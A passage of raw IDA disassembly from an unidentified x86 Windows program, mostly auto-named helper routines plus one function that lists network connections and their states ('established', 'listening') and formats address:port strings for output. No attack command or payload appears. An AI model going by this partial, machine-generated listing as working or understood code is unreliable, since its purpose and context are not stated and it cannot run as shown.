ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_401F4B mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_401550 mov edx, [esi+4] mov ecx, esi push edx call sub_40205E sub_418940 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4189B0 proc near ; CODE XREF: sub_401F4Bj arg_0 = dword ptr 4 mov eax, [ecx+4] push esi push eax call sub_4015D2 mov ecx, [eax] mov esi, [esp+8+arg_0] add esp, 4 push ecx mov ecx, esi call sub_401D84 mov eax, esi pop esi retn 4 sub_4189B0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4189F0 proc near ; CODE XREF: sub_401311j arg_0 = dword ptr 4 mov eax, [ecx+4] push esi mov esi, [esp+4+arg_0] push eax mov ecx, esi call sub_401D84 mov eax, esi pop esi retn 4 sub_4189F0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418A20 proc near ; CODE XREF: sub_4010B9j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_401311 mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_401F4B mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_401550 pop esi add esp, 0Ch retn sub_418A20 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418A70 proc near ; CODE XREF: sub_402086j push esi mov esi, ecx call sub_401528 mov eax, esi pop esi retn sub_418A70 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418A90 proc near ; CODE XREF: sub_402211j mov eax, [ecx] push eax call sub_401172 add esp, 4 retn sub_418A90 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418AB0 proc near ; CODE XREF: sub_401361j push esi mov esi, ecx mov eax, [esi] push eax call sub_4015D2 mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_418AB0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418AE0 proc near ; CODE XREF: sub_4016F9j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_40221B neg al sbb eax, eax inc eax retn 4 sub_418AE0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418B10 proc near ; CODE XREF: sub_40142Ej var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_40183E test al, al jz short loc_418B6A loc_418B28: ; CODE XREF: sub_418B10+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_40116D mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_40123F ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_40183E test al, al jnz short loc_418B28 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_418B6A: ; CODE XREF: sub_418B10+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_418B10 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418BA0 proc near ; CODE XREF: sub_4020E5j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_401D57 sub_418BA0 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418BC0 proc near ; CODE XREF: sub_401550j var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_4016F9 test al, al jz short loc_418C1A loc_418BD8: ; CODE XREF: sub_418BC0+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_4012A3 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_40214E ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_4016F9 test al, al jnz short loc_418BD8 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_418C1A: ; CODE XREF: sub_418BC0+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_418BC0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418C50 proc near ; CODE XREF: sub_40139Dj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 0Ch call sub_401C53 sub_418C50 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_418C65 mov edi, esi loc_418C65: ; CODE XREF: ___:00418C61j push esi call sub_4015D2 mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_418C7A mov edi, esi loc_418C7A: ; CODE XREF: ___:00418C76j push esi call sub_401B1D add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418CA0 proc near ; CODE XREF: sub_40205Ej arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_4013F2 sub_418CA0 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418CC0 proc near ; CODE XREF: sub_4015D2j arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_418CC0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418CE0 proc near ; CODE XREF: sub_401172j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_418CE0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418D00 proc near ; CODE XREF: sub_401528j mov eax, ecx retn sub_418D00 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418D20 proc near ; CODE XREF: sub_401D84j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_4020E0 mov eax, esi pop esi retn 4 sub_418D20 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418D50 proc near ; CODE XREF: sub_40221Bj arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_418D50 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418D80 proc near ; CODE XREF: sub_40123Fj var_4 = byte ptr -4 arg_4 = byte ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_40116D mov ecx, eax call sub_401C8A mov esi, eax push esi call sub_401A82 push esi mov ebx, eax call sub_401C58 mov ecx, [eax] push ecx call sub_401A82 mov edx, [ebx] push esi mov [eax], edx call sub_401C58 push esi mov ebx, eax call sub_401A82 mov eax, [eax] push eax call sub_401C58 mov ecx, [ebx] push esi mov [eax], ecx call sub_401208 add esp, 1Ch mov ecx, edi push eax call sub_401762 push esi mov ecx, edi call sub_4020E5 sub_418D80 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418E40 proc near ; CODE XREF: sub_401D57j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_4367E2 sub_418E40 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418E60 proc near ; CODE XREF: sub_40116Dj arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_401F0A mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_418E60 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418E90 proc near ; CODE XREF: sub_40214Ej var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_4012A3 mov ecx, eax call sub_401ECE mov esi, eax push esi call sub_4015D2 push esi mov ebx, eax call sub_401B1D mov ecx, [eax] push ecx call sub_4015D2 mov edx, [ebx] push esi mov [eax], edx call sub_401B1D push esi mov ebx, eax call sub_4015D2 mov eax, [eax] push eax call sub_401B1D mov ecx, [ebx] push esi mov [eax], ecx call sub_401172 add esp, 1Ch mov ecx, edi push eax call sub_4018C5 push esi mov ecx, edi call sub_40205E sub_418E90 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418F50 proc near ; CODE XREF: sub_401B1Dj arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_418F50 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418F70 proc near ; CODE XREF: sub_401C53j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D16 sub_418F70 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418FA0 proc near ; CODE XREF: sub_4013F2j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_4367E2 sub_418FA0 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418FC0 proc near ; CODE XREF: sub_4020E0j arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_418FC0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418FE0 proc near ; CODE XREF: sub_4012A3j arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_401361 mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_418FE0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419010 proc near ; CODE XREF: sub_401762j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_8 pop ecx retn 4 sub_419010 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419030 proc near ; CODE XREF: sub_4018C5j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_4 pop ecx retn 4 sub_419030 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419050 proc near ; CODE XREF: sub_401ECEj mov eax, [ecx] retn sub_419050 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_8. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4190B0 proc near ; CODE XREF: sub_402103j var_14 = dword ptr -14h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4190B0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx mov [esp+18h+var_14], esi call sub_4011B3 lea ecx, [esi+4] call sub_401749 push 9 mov [esp+1Ch+var_4], 0 mov dword ptr [esi], offset off_43E074 call sub_4367FA sub_4190B0 endp ; --------------------------------------------------------------------------- add esp, 4 mov [esp+8], eax test eax, eax mov byte ptr [esp+14h], 1 jz short loc_41911D mov ecx, eax call sub_401F0F ; --------------------------------------------------------------------------- mov [esi+32h], eax mov eax, esi pop esi mov ecx, [esp+8] mov large fs:0, ecx add esp, 14h retn ; --------------------------------------------------------------------------- loc_41911D: ; CODE XREF: ___:004190FFj mov ecx, [esp+0Ch] xor eax, eax mov [esi+32h], eax mov eax, esi pop esi mov large fs:0, ecx add esp, 14h retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_419170 proc near ; CODE XREF: sub_401F0Fj push 0FFFFFFFFh push offset SEH_419170 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx push 14h call sub_4367FA sub_419170 endp ; --------------------------------------------------------------------------- add esp, 4 mov [esp+4], eax test eax, eax mov dword ptr [esp+10h], 0 jz short loc_4191BE mov ecx, eax call sub_4015B9 mov [esi], eax mov eax, esi pop esi mov ecx, [esp+4] mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- loc_4191BE: ; CODE XREF: ___:004191A1j mov ecx, [esp+8] xor eax, eax mov [esi], eax mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419200 proc near ; CODE XREF: sub_4015B9j mov eax, ecx retn sub_419200 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_419220 proc near ; CODE XREF: sub_401965j var_24 = byte ptr -24h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_419220 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push esi push 0 push 14h push 1 push 14h push 13h push 14h push 5 lea eax, [esp+44h+var_24] push 0Eh mov esi, ecx push eax call sub_4019B5 add esp, 24h push esi mov ecx, eax mov [esp+2Ch+var_4], 0 call sub_401681 add esi, 4 push eax push esi mov ecx, offset dword_447148 call sub_401591 sub_419220 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+24h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1Ch] pop esi mov large fs:0, ecx add esp, 24h retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4192C0 proc near ; CODE XREF: sub_40111Dj var_2A4 = dword ptr -2A4h var_2A0 = dword ptr -2A0h var_29C = dword ptr -29Ch var_298 = dword ptr -298h var_294 = dword ptr -294h var_290 = dword ptr -290h var_28C = byte ptr -28Ch var_274 = byte ptr -274h var_25C = byte ptr -25Ch var_23C = byte ptr -23Ch var_224 = byte ptr -224h var_199 = byte ptr -199h var_198 = byte ptr -198h var_119 = byte ptr -119h var_118 = byte ptr -118h var_99 = byte ptr -99h var_98 = byte ptr -98h var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_4192C0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 298h push ebx mov ebx, ecx push esi mov [esp+2ACh+var_2A4], ebx lea ecx, [ebx+4] call sub_4017E4 mov esi, [esp+2ACh+arg_0] push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_419669 push ebp push edi push offset asc_443600 ; " " lea eax, [esp+2B8h+var_23C] push 1 push eax mov ecx, esi call sub_4016AE mov ecx, eax call sub_401681 push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+2B4h+var_23C] mov [ebx+36h], eax call sub_401226 mov ecx, esi call sub_4017E4 push eax lea ecx, [esp+2B8h+var_274] call sub_401861 xor ebp, ebp push offset dword_443D84 lea ecx, [esp+2B8h+var_274] mov [esp+2B8h+var_4], ebp mov [esp+2B8h+var_2A0], ebp call sub_4013E3 test eax, eax jz short loc_41936F mov [esp+2B4h+var_2A0], 2 jmp short loc_419389 ; --------------------------------------------------------------------------- loc_41936F: ; CODE XREF: sub_4192C0+A3j push offset dword_443D80 lea ecx, [esp+2B8h+var_274] call sub_4013E3 test eax, eax jz short loc_419389 mov [esp+2B4h+var_2A0], 1 loc_419389: ; CODE XREF: sub_4192C0+ADj ; sub_4192C0+BFj mov ecx, [ebx+32h] mov edi, offset dword_443D74 xor eax, eax mov edx, [ecx] or ecx, 0FFFFFFFFh add edx, 2 repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov ecx, [ebx+32h] mov edx, [ecx] mov byte ptr [edx], 1 mov eax, [ebx+32h] mov [esp+2B4h+var_119], 0 mov [esp+2B4h+var_99], 0 mov [esp+2B4h+var_D], 0 mov [esp+2B4h+var_199], 0 mov eax, [eax] cmp byte ptr [eax], 0 jnz short loc_419418 mov esi, dword_50FA9C add eax, 2 push offset dword_443D74 push eax call esi ; _stricmp add esp, 8 test eax, eax jz short loc_419418 mov ecx, [ebx+32h] push offset off_443D70 mov edx, [ecx] add edx, 2 push edx call esi ; _stricmp add esp, 8 test eax, eax jnz loc_41964F loc_419418: ; CODE XREF: sub_4192C0+123j ; sub_4192C0+13Bj push 0C00h mov [esp+2B8h+var_294], 0C00h call near ptr 77C2C407h nop add esp, 4 mov esi, eax lea eax, [esp+2B4h+var_294] mov [esp+2B4h+var_29C], esi push 1 push eax push esi mov [esi], ebp call sub_436C60 ; --------------------------------------------------------------------------- mov eax, [esi] mov [esp+2B4h+var_298], ebp cmp eax, ebp jle loc_419645 lea ebp, [esi+14h] loc_419454: ; CODE XREF: sub_4192C0+37Fj cmp dword ptr [ebp-10h], 2 jnz short loc_419468 mov ecx, [ebx+32h] mov edx, [ecx] cmp byte ptr [edx], 0 jz loc_41962F loc_419468: ; CODE XREF: sub_4192C0+198j mov ax, [ebp-8] mov esi, dword_50FC20 push eax call esi ; ntohs mov cx, [ebp+0] mov [esp+2B4h+var_290], eax push ecx call esi ; ntohs mov esi, [esp+2B4h+var_2A4] mov ebx, eax mov eax, [ebp-0Ch] push 1 lea edx, [esp+2B8h+var_198] push 7Fh push edx push eax mov ecx, esi call sub_401474 mov edx, [ebp-4] push 0 lea ecx, [esp+2B8h+var_118] push 7Fh push ecx push edx mov ecx, esi call sub_401474 mov eax, [ebp-10h] sub eax, 2 jz short loc_4194CC sub eax, 3 jnz short loc_4194F2 lea edx, [esp+2B4h+var_25C] mov edi, offset aEstablished ; "established" jmp short loc_4194D5 ; --------------------------------------------------------------------------- loc_4194CC: ; CODE XREF: sub_4192C0+1FAj lea edx, [esp+2B4h+var_25C] mov edi, offset aListening ; "listening" loc_4194D5: ; CODE XREF: sub_4192C0+20Aj or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb loc_4194F2: ; CODE XREF: sub_4192C0+1FFj mov ecx, 23h xor eax, eax lea edi, [esp+2B4h+var_98] rep stosd mov ecx, 23h lea edi, [esp+2B4h+var_224] rep stosd cmp dword ptr [ebp-10h], 2 jnz short loc_419518 xor ebx, ebx loc_419518: ; CODE XREF: sub_4192C0+254j mov esi, [esp+2B4h+var_290] lea ecx, [esp+2B4h+var_198] and esi, 0FFFFh lea edx, [esp+2B4h+var_98] push esi push ecx push offset aSD_1 ; "%s:%d" push 8Bh push edx nop call near ptr 77C3FA76h mov edi, ebx add esp, 14h and edi, 0FFFFh lea eax, [esp+2B4h+var_118] push edi push eax push offset aSD_1 ; "%s:%d" lea ecx, [esp+2C0h+var_224] push 8Bh push ecx nop call near ptr 77C3FA76h add esp, 14h lea ecx, [esp+2B4h+var_28C] call sub_401424 mov eax, [esp+2B4h+var_2A0] mov byte ptr [esp+2B4h+var_4], 1 test bx, bx jnz short loc_4195B1 cmp eax, 1 jz loc_419616 mov edx, [esp+2B4h+var_2A4] mov eax, [edx+36h] test eax, eax jz short loc_4195A4 cmp eax, esi jnz short loc_419616 loc_4195A4: ; CODE XREF: sub_4192C0+2DEj lea eax, [esp+2B4h+var_25C] push esi push eax push offset aSD_0 ; "%s: %d" jmp short loc_4195D7 ; --------------------------------------------------------------------------- loc_4195B1: ; CODE XREF: sub_4192C0+2CAj cmp eax, 2 jz short loc_419616 mov ecx, [esp+2B4h+var_2A4] mov eax, [ecx+36h] test eax, eax jz short loc_4195C5 cmp eax, edi jnz short loc_419616 loc_4195C5: ; CODE XREF: sub_4192C0+2FFj lea edx, [esp+2B4h+var_224] lea eax, [esp+2B4h+var_25C] push edx push eax push offset aSS_6 ; "%s: %s" loc_4195D7: ; CODE XREF: sub_4192C0+2EFj lea ecx, [esp+2C0h+var_28C] push ecx call sub_40102D mov esi, [esp+2C4h+arg_0] add esp, 10h lea ecx, [esi+69h] call sub_4014D3 push eax lea ecx, [esp+2B8h+var_28C] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax mov ecx, offset byte_4D60A5 call sub_401118 loc_419616: ; CODE XREF: sub_4192C0+2CFj ; sub_4192C0+2E2j ... lea ecx, [esp+2B4h+var_28C] mov byte ptr [esp+2B4h+var_4], 0 call sub_401226 mov esi, [esp+2B4h+var_29C] mov ebx, [esp+2B4h+var_2A4] loc_41962F: ; CODE XREF: sub_4192C0+1A2j mov eax, [esp+2B4h+var_298] mov ecx, [esi] inc eax add ebp, 14h cmp eax, ecx mov [esp+2B4h+var_298], eax jl loc_419454 loc_419645: ; CODE XREF: sub_4192C0+18Bj push esi nop call near ptr 77C2C21Bh add esp, 4 loc_41964F: ; CODE XREF: sub_4192C0+152j lea ecx, [esp+2B4h+var_274] mov [esp+2B4h+var_4], 0FFFFFFFFh call sub_401226 pop edi mov al, 1 pop ebp jmp short loc_41966B ; --------------------------------------------------------------------------- loc_419669: ; CODE XREF: sub_4192C0+3Dj mov al, 1 loc_41966B: ; CODE XREF: sub_4192C0+3A7j mov ecx, [esp+2ACh+var_C] pop esi pop ebx mov large fs:0, ecx add esp, 2A4h retn 4 sub_4192C0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 100h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419790 proc near ; CODE XREF: sub_401474j var_20 = byte ptr -20h arg_0 = byte ptr 4 arg_3 = dword ptr 7 arg_8 = dword ptr 0Ch arg_C = byte ptr 10h mov eax, [esp+arg_3] sub esp, 20h mov edx, [esp+25h] and eax, 0FFh push ebx push ebp push esi mov esi, ecx mov ecx, [esp+32h] mov ebx, [esp+2Ch+arg_8] mov ebp, [esp+2Ch+arg_3+1] push eax mov eax, [esp+34h] and ecx, 0FFh and edx, 0FFh push ecx and eax, 0FFh push edx push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push ebx push ebp nop call near ptr 77C3FA76h mov ecx, [esi+32h] add esp, 1Ch mov al, [ecx+4] test al, al jnz short loc_419850 mov al, [esp+2Ch+arg_C] test al, al jnz short loc_41981E mov eax, [esp+30h] test eax, eax jz short loc_41981E push 2 lea edx, [esp+30h+arg_0] push 4 push edx nop call near ptr 71ABE479h test eax, eax jz short loc_419850 mov eax, [eax] push ebx push eax push ebp nop call near ptr 77C47A90h add esp, 0Ch pop esi pop ebp pop ebx add esp, 20h retn 10h ; --------------------------------------------------------------------------- loc_41981E: ; CODE XREF: sub_419790+5Aj ; sub_419790+62j push edi mov ecx, 7 xor eax, eax lea edi, [esp+30h+var_20] rep stosd lea ecx, [esp+30h+var_20] push 1Dh push ecx stosw nop call near ptr 71AB50C8h test eax, eax pop edi jnz short loc_419850 lea edx, [esp+2Ch+var_20] push ebx push edx push ebp call near ptr 77C47A90h nop add esp, 0Ch loc_419850: ; CODE XREF: sub_419790+52j ; sub_419790+75j ... pop esi pop ebp pop ebx add esp, 20h retn 10h sub_419790 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4198A0 proc near ; CODE XREF: sub_401EECj call near ptr 27D0802h nop push eax nop call near ptr 77C371BCh pop ecx retn sub_4198A0 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4198C0 proc near ; CODE XREF: sub_4021A3j var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push esi call near ptr 77C371D3h nop mov esi, [esp+8+arg_0] mov [esp+8+var_4], eax mov eax, [esp+8+arg_4] fild [esp+8+var_4] sub eax, esi mov [esp+8+arg_4], eax fimul [esp+8+arg_4] fmul dbl_43E0B0 call sub_4368EA sub_4198C0 endp ; --------------------------------------------------------------------------- sub esi, eax mov eax, esi pop esi pop ecx retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_419910: ; CODE XREF: ___:00401C85j nop call near ptr 77C371D3h cdq idiv dword ptr [esp+4] mov eax, edx retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- locret_419930: ; CODE XREF: ___:0040151Ej retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_419950: ; CODE XREF: ___:00401FC3j xor al, al retn 4 ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419970 proc near ; CODE XREF: sub_401523j arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_C] mov ecx, [esp+arg_4] mov edx, [esp+arg_8] cmp eax, 1 setnl al mov byte ptr [esp+arg_C], al push ecx mov eax, [esp+4+arg_C] push edx push eax push 0 mov ecx, offset byte_4D60A5 call sub_401118 retn sub_419970 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_4199B0: ; CODE XREF: ___:00401505j sub esp, 0Ch mov eax, [esp+20h] push ebx push ebp push esi xor esi, esi push edi cmp eax, esi mov dword ptr [esp+18h], 80h mov [esp+10h], esi jz short loc_4199E3 push eax nop call near ptr 77C1BF18h add esp, 4 cmp eax, esi mov [esp+10h], eax jz short loc_4199E3 mov [esp+18h], eax loc_4199E3: ; CODE XREF: ___:004199CBj ; ___:004199DDj mov edi, [esp+28h] mov ebx, [esp+24h] mov ebp, [esp+20h] mov [esp+14h], esi mov esi, offset dword_506E5C loc_4199F8: ; CODE XREF: ___:00419A49j mov ecx, [esp+14h] mov eax, [esp+18h] cmp ecx, eax jge short loc_419A4B cmp byte ptr [esi], 0 jz short loc_419A34 mov eax, [esp+30h] test eax, eax jz short loc_419A28 mov ecx, [esp+10h] test ecx, ecx jnz short loc_419A28 push eax push esi nop call near ptr 77C47C60h add esp, 8 test eax, eax jz short loc_419A34 loc_419A28: ; CODE XREF: ___:00419A0Fj ; ___:00419A17j push edi push esi push ebx push ebp call sub_401523 add esp, 10h loc_419A34: ; CODE XREF: ___:00419A07j ; ___:00419A26j mov edx, [esp+14h] add esi, 80h inc edx cmp esi, offset dword_50AE5C mov [esp+14h], edx jl short loc_4199F8 loc_419A4B: ; CODE XREF: ___:00419A02j pop edi pop esi pop ebp pop ebx add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_419A90: ; CODE XREF: ___:00402266j push ebx mov 